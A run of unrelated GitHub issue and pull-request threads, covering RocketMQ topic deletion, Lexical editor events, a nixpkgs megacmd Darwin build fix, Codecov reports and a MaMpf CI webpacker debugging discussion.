    mqAdminExt.deleteTopicInBroker(Collections.singleton(broker01), TOPIC);
    System.out.println("delete after");
    System.out.println("topicRouter" + ": " + JSON.toJSONString(mqAdminExt.examineTopicRouteInfo(TOPIC), true));

ok iwill try

i reproduce this issue, but i find when I restart my broker this topic has been deleted, i guess broker have some schedule to delete topic

yes rocketmq delete topic Only the topic data in memory will be deleted

你需要继续调用 deleteTopicInNameServer

会删除topic全部路由，不能删除指定broker的路由

你这个问题，还可以通过打开
在broker打开，enableSingleTopicRegister这个配置。
在ns 打开deleteTopicWithBrokerRegistration 这个配置来解决。可以看下这块代码。


Write tests for the RequestProcessor

[ ] Write Unit tests
[x] #137

Need to rewrite some part of the requestProcessor to be able to test it but also to be able have a better Dispatch ...


Visual html to pdf

Is there a particular reason why we are introducing the dependency on selenium instead of just invoking the phantomjs script with os.shell by passing in formatting arguments? Generally we want to avoid external dependencies because it makes maintenance and reproducing our results harder.
Currently create_pdf crashes with connection reset by peer error during parsing when it can not find a pdf corresponding to a html.

Think this is old... reopen if needed


Send click event in read-only editor

Right now only a SELECTION_CHANGE_COMMAND is passed when the editor is in read-only mode. Which makes sense, since we don't want to allow copy, paste, etc when contenteditable doesn't have true 'readonly' mode.
However, I stumbled upon a situation where this logic disabled the 'click' event not firing the CLICK_COMMAND at all when in read-only, which is needed if you want to have any interactivity even in read-only when a non-editing user needs to interact with the widget, eg open a popup on a double click to view something for example. So passing this event through irrespective of editor editability.
Before:
https://github.com/facebook/lexical/assets/7893468/92e832d1-6b61-4a93-a91d-3e866930ceb3
After:
https://github.com/facebook/lexical/assets/7893468/fe741a9c-9ba8-4923-ba75-3a09af6d1781

Does this work for mobile? I think we need to define official rules for what editable means. Since this was introduced it feels like everyone has a slightly different impression. You may still remember but initially it was called read-only but given that we still allowed it to be editable via plugins and the like we renamed it to editable 😛

This does indeed ring a bell, but I think I was too new to the project at the time and wasn't aware of the context change at the time. Just tried it, it doesn't change anything for mobile behaviour, since I believe it differentiates between a 'mouse click' and a 'pointer click'.


drafts: Fix styling issue in drafts

Before:

After:

This was introduced by this since we're using some of the message styles in drafts.
https://github.com/zulip/zulip/commit/69323d12c92d7c2ed7354f4bf276df71d3224fa1

Codecov Report

Merging #5562 into master will increase coverage by 0.03%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #5562      +/-   ##
==========================================
+ Coverage   86.72%   86.76%   +0.03%
==========================================
  Files         432      432
  Lines       53651    53651
  Branches     2093     2093
==========================================
+ Hits        46528    46549      +21
+ Misses       7123     7102      -21

Impacted Files
Coverage Δ

zerver/tornado/ioloop_logging.py
93.33% <0%> (+46.66%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4f7c032...caf4c5e. Read the comment docs.

Merged!  Thanks @sampritipanda and @lonerz!  I suspect further tweaks will be needed, but this feels like progress.


megacmd: add ffmpeg and freeimage support; add darwin support

Add FFmpeg support via a patch. Add FreeImage support optionally (user can risk the insecurity by overriding an argument). Add Darwin support (WIP).
Currently, there is a build error saying curl/curl.h not found on Darwin.
Closes #297586.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[x] sandbox = true

[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
25.05 Release Notes (or backporting 24.11 and 25.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Do we know exactly what features including ffmpeg and freeimage enables?

FFmpeg is for video preview/thumbnail generation, and FreeImage is for image preview/thumbnail generation. Don't know how these features are relevant to a CLI app but there they are.

In file included from ./include/mega/types.h:45,
                 from ./include/mega/proxy.h:25,
                 from ./include/mega/osx/osxutils.h:4,
                 from src/osx/osxutils.mm:1:
./include/mega/posix/megasys.h:116:10: fatal error: curl/curl.h: No such file or directory
  116 | #include <curl/curl.h>
      |          ^~~~~~~~~~~~~
compilation terminated.

This is truly curious. Help needed.

Is forcing GCC instead of Clang necessary to fix something or demanded by upstream, or would using the default be fine?
This builds just fine with the regular stdenv for me:
diff --git a/pkgs/by-name/me/megacmd/fix-darwin.patch b/pkgs/by-name/me/megacmd/fix-darwin.patch
index 12f0733f91a1..e46d8d99b9b4 100644
--- a/pkgs/by-name/me/megacmd/fix-darwin.patch
+++ b/pkgs/by-name/me/megacmd/fix-darwin.patch
@@ -6,7 +6,7 @@

 +if DARWIN
 +AM_LIBTOOLFLAGS="--tag=CXX"
-+AM_CPPFLAGS+=-I$(top_srcdir)/include/mega/osx
++AM_CPPFLAGS+=-I$(top_srcdir)/sdk/include/mega/osx -I$(top_srcdir)/include/mega/osx
 +endif
 +
  if WIN32
@@ -25,7 +25,7 @@

 +if DARWIN
 +AM_LIBTOOLFLAGS="--tag=CXX"
-+AM_CPPFLAGS+=-I$(top_srcdir)/include/mega/osx
++AM_CPPFLAGS+=-I$(top_srcdir)/sdk/include/mega/osx -I$(top_srcdir)/include/mega/osx
 +endif
 +
  if WIN32
diff --git a/pkgs/by-name/me/megacmd/package.nix b/pkgs/by-name/me/megacmd/package.nix
index 53a5159e7cc8..59acd25766d1 100644
--- a/pkgs/by-name/me/megacmd/package.nix
+++ b/pkgs/by-name/me/megacmd/package.nix
@@ -8,7 +8,6 @@
   fetchFromGitHub,
   ffmpeg,
   freeimage,
-  gcc-unwrapped,
   icu,
   libmediainfo,
   libraw,
@@ -19,7 +18,6 @@
   pkg-config,
   readline,
   sqlite,
-  darwin,
   withFreeImage ? false, # default to false because freeimage is insecure
 }:

@@ -58,10 +56,9 @@ stdenv.mkDerivation {
     [
       c-ares
       cryptopp
-      curl.dev
+      curl
       ffmpeg
       icu
-      gcc-unwrapped
       libmediainfo
       libraw
       libsodium
@@ -72,16 +69,7 @@ stdenv.mkDerivation {
       sqlite
     ]
     ++ lib.optionals withFreeImage [ freeimage ]
-    ++ lib.optionals stdenv.isDarwin (
-      with darwin.apple_sdk.frameworks;
-      [
-        CoreFoundation
-        CoreServices
-        SystemConfiguration
-        Cocoa
-        DiskArbitration
-      ]
-    );
+    ;

   configureFlags = [
     "--disable-curl-checks"

Thank you @OPNA2608. I got it working.
It seems that gcc-unwrapped is needed on Linux.


2FA feature issue

Thank you very much for the open source project.
I have successfully installed it and tested the 2FA function. The prompt is added successfully, but when I log in again, I still only need password login, no secondary authentication.

Hi @xiaolushuo, I cannot reproduce your issue.
Can you check your database if the secret code is saved?

Can't reproduce.


Increase build version to 0.18.0

Codecov Report

Merging #1645 (50fbc40) into master (bb5073f) will decrease coverage by 1.20%.
The diff coverage is 62.14%.

@@             Coverage Diff              @@
##             master    #1645      +/-   ##
============================================
- Coverage     72.08%   70.88%   -1.21%
- Complexity     5126     5434     +308
============================================
  Files           473      507      +34
  Lines         21970    23769    +1799
  Branches       2351     2589     +238
============================================
+ Hits          15838    16848    +1010
- Misses         4925     5631     +706
- Partials       1207     1290      +83

Impacted Files
Coverage Δ

api/src/main/java/ai/djl/modality/cv/Image.java
69.23% <ø> (-4.11%)
:arrow_down:

...rc/main/java/ai/djl/modality/cv/output/Joints.java
71.42% <ø> (ø)

.../main/java/ai/djl/modality/cv/output/Landmark.java
100.00% <ø> (ø)

...main/java/ai/djl/modality/cv/output/Rectangle.java
72.41% <ø> (ø)

...i/djl/modality/cv/translator/BigGANTranslator.java
21.42% <ø> (-5.24%)
:arrow_down:

...odality/cv/translator/BigGANTranslatorFactory.java
33.33% <0.00%> (+8.33%)
:arrow_up:

...nslator/InstanceSegmentationTranslatorFactory.java
14.28% <0.00%> (-3.90%)
:arrow_down:

.../modality/cv/translator/YoloTranslatorFactory.java
8.33% <0.00%> (-1.67%)
:arrow_down:

...i/djl/modality/cv/translator/YoloV5Translator.java
5.69% <0.00%> (ø)

...odality/cv/translator/YoloV5TranslatorFactory.java
8.33% <0.00%> (-1.67%)
:arrow_down:

... and 244 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1fab209...50fbc40. Read the comment docs.


Swift 2.0

master:
changelog entry
[Swift][Object] Fix className on non-Mac platforms
Override className in RealmSwift.Object to make it final
Document that +[RLMObject className] should not be overridden.

Thanks for the PR, @aplittlecub! We'll need you to accept our Contributor License Agreement before we can merge your contributions.
Cheers,
The robots and humans at Realm


Enforce Property validation and improve error feedback

Property.check_valid() ensures all properties are valid but was previously never called. This is now done at the end of Property initialization.
Additionally, some changes to improve error feedback to the user.
Closes #15

Oh, ok, found why.

See https://github.com/darosior/python-bip380/pull/18 that cleans up my mess. Tests on this PR should pass once rebased on #18.


[intrinsic] fix matmul test for latest LLVM

fix like the bf0cb8f42468736774c0e55e92d08c720072ac63

This seems to conflict with #269.


CI/CD Improve unit test workflow (and temporarily disable failed unit tests)

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)
Improve the unit test GitHub Actions workflow and get it to run without failures. To do so, I temporarily disabled failing unit tests. These should be fixed according to issue #442

Hi @henrixapp, what is the "reindex sunspot" task used for, which you've introduced here? Why do we need it?
docker-compose exec mampf  sh -c "RAILS_ENV=test  rake sunspot:reindex"

Furthermore, I've just noticed that I replaced docker compose run with docker compose exec.

docker-compose exec will run inside your existing, running service container while docker-compose run will start a new, independent container.
from here

Based on this, exec sounded better to me and it seems to work. However, you explicitly used run instead of exec starting from here. Is there a reason for that?

I think it should be ok to merge this directly to main instead of mampf-next, so that other branches can directly profit from this. This does not touch on any code and instead just affects the CI/CD pipeline (which is currently not working correctly anyways ;))

Hi @Splines,

what is the "reindex sunspot" task used for, which you've introduced here? Why do we need it?

Sunspot is used for indexing the data and providing search results. The reindexing has to be triggered to index the test data, ingested in the step before.

Based on this, exec sounded better to me and it seems to work (I use docker compose up --build --detach now in a previous step and then use docker compose exec to execute the database related commands in the new mampf container). However, you explicitly used run instead of exec starting from here. Is there a reason for that? (maybe even indicating I should refrain from exec in this case?)

I can not remember this directly. As the operations are altering the volumes/data of the database, I found it more convenient
to spin them up via run, but your way of doing it probably works fine.

I think it should be ok to merge this directly to main instead of mampf-next, so that other branches can directly profit from this. This does not touch on any code and instead just affects the CI/CD pipeline (which is currently not working correctly anyways ;))

I would suggest keeping the direction of merging clean, because otherwise you will have to sync between main and mampf-next at a later point. Furthermore, as you can see by the pull request #205, my  changes between run and exec were in one pull request. It might be worth considering squashing commits, keeping the history cleaner and more understandable. Especially, #311 is a candidate for squashing.
Finally, let's take a look on what you try to achieve: You want the tests to be passing, to get that ✅ .
You commented out the tests that are failing, achieving your goal, but I would suggest going a different route, fixing the setup/environment error.
If we take a look at the logs of a failing job, we see that the unit test fails due to a webpacker error:
     # ------------------
1428
     # --- Caused by: ---
1429
     # Webpacker::Manifest::MissingEntryError:
1430
     #   Webpacker can't find application.js in /usr/src/app/public/packs-test/manifest.json. Possible causes:
1431
     #   1. You want to set webpacker.yml value of compile to true for your environment
1432
     #      unless you are using the `webpack -w` or the webpack-dev-server.
1433
     #   2. webpack has not yet re-run to reflect updates.
1434
     #   3. You have misconfigured Webpacker's config/webpacker.yml file.
1435
     #   4. Your webpack configuration is not creating a manifest.
1436
     #   Your manifest contains:
1437
     #   {
1438
     #   }
1439
     #   /usr/local/bundle/gems/webpacker-5.4.3/lib/webpacker/manifest.rb:79:in `handle_missing_entry'

So apparently we do not build the manifest file.
This can be fixed by adding a precompile directive to the steps while building.
docker compose run --entrypoint="" mampf  sh -c "RAILS_ENV=test  rake assets:precompile"

I use https://github.com/nektos/act to run actions locally and the tests passed on main with your updated file.

@henrixapp

I would suggest keeping the direction of merging clean, because otherwise you will have to sync between main and mampf-next at a later point.

True, fair enough ;)

It might be worth considering squashing commits, keeping the history cleaner and more understandable.

Yes, especially for the "release" branch mampf-next, we could squash commits from the individual feature branches. Then, merge mampf-next to the main branch with a merge commit.

I would suggest going a different route, fixing the setup/environment error.

Thanks for also giving me the fix, will try this out and commit. I overlooked this and thought that some tests were just not correct.

I use https://github.com/nektos/act to run actions locally

Wow, didn't know about that project, thank you, will try it out. This should render ugly force pushes (just to trigger the pipeline) unnecessary.

@henrixapp Ok, so it works, thanks for your fix. Ready for review now ;)

@henrixapp Apparently, removing webpacker from the dev dependencies of the package.json does not work here but in your pull request #453. Do you know why?

Apparently, removing webpacker from the dev dependencies of the package.json does not work here but in your pull request https://github.com/MaMpf-HD/mampf/pull/453. Do you know why? Maybe GitHub has cached Webpacker for you?

You are using the docker-compose.yml file/setup in docker/development and try to compile with the running container. The running container is mounting the whole mampf  root folder here, overriding any node_modules folder with it. Maybe the docker-compose setup in run_tests should be used.
I would suggest

Also see https://github.com/rails/webpacker/issues/522

@Splines the problem is that the Dockerfile in run_tests does not install the js with yarn dependencies. Forgot to mention that you need to update the Dockerfile properly.

This SO question might be relevant as it's discussing the same error we get currently: can't find application.js in /usr/src/app/public/packs-test/manifest.json
# --- Caused by: ---
# Webpacker::Manifest::MissingEntryError:
#   Webpacker can't find application.js in /usr/src/app/public/packs-test/manifest.json. Possible causes:
#   1. You want to set webpacker.yml value of compile to true for your environment
#      unless you are using the `webpack -w` or the webpack-dev-server.
#   2. webpack has not yet re-run to reflect updates.
#   3. You have misconfigured Webpacker's config/webpacker.yml file.
#   4. Your webpack configuration is not creating a manifest.
#   Your manifest contains:
#   {
#   }
#   /usr/local/bundle/gems/webpacker-5.4.4/lib/webpacker/manifest.rb:79:in `handle_missing_entry'

This could also be related. Will try this in the next commit.

@henrixapp @christian-heusel Ok, I think I'm a bit stumped on this one (@christian-heusel I'm mentioning you as git blame tells me you worked on the Dockerfiles I'm currently working (despairing) on. Somehow, webpacker is not properly working in the test environment and I can't figure out why, probably because I seem to miss the bigger picture of how exactly the whole pipeline works. This is still the error we get in the CI GitHub environment.

In the development docker compose file, we have a separate webpacker service section which is probably starting webpacker and let it compile all frontend files. Why don't we have this section in the docker compose file for run_tests as well? Where is webpacker supposed to be started there?

@henrixapp Here, you use COPY ... and RUN bundle install two times consecutively (lines 27/28 and 33-35), is this relevant to the current issue?

@henrixapp I cannot find any changes you made in  #216 specifically related to Webpacker, except for maybe an additional yarn install in the Dockerfile, but that didn't work for me.  What is the purpose of yarn install --production=false if we don't have any dev dependencies declared in the package.json?

I think a quick and dirty solution for this would be fine, as we will eventually replace webpacker anyways, see #454.

Closed in favor of #472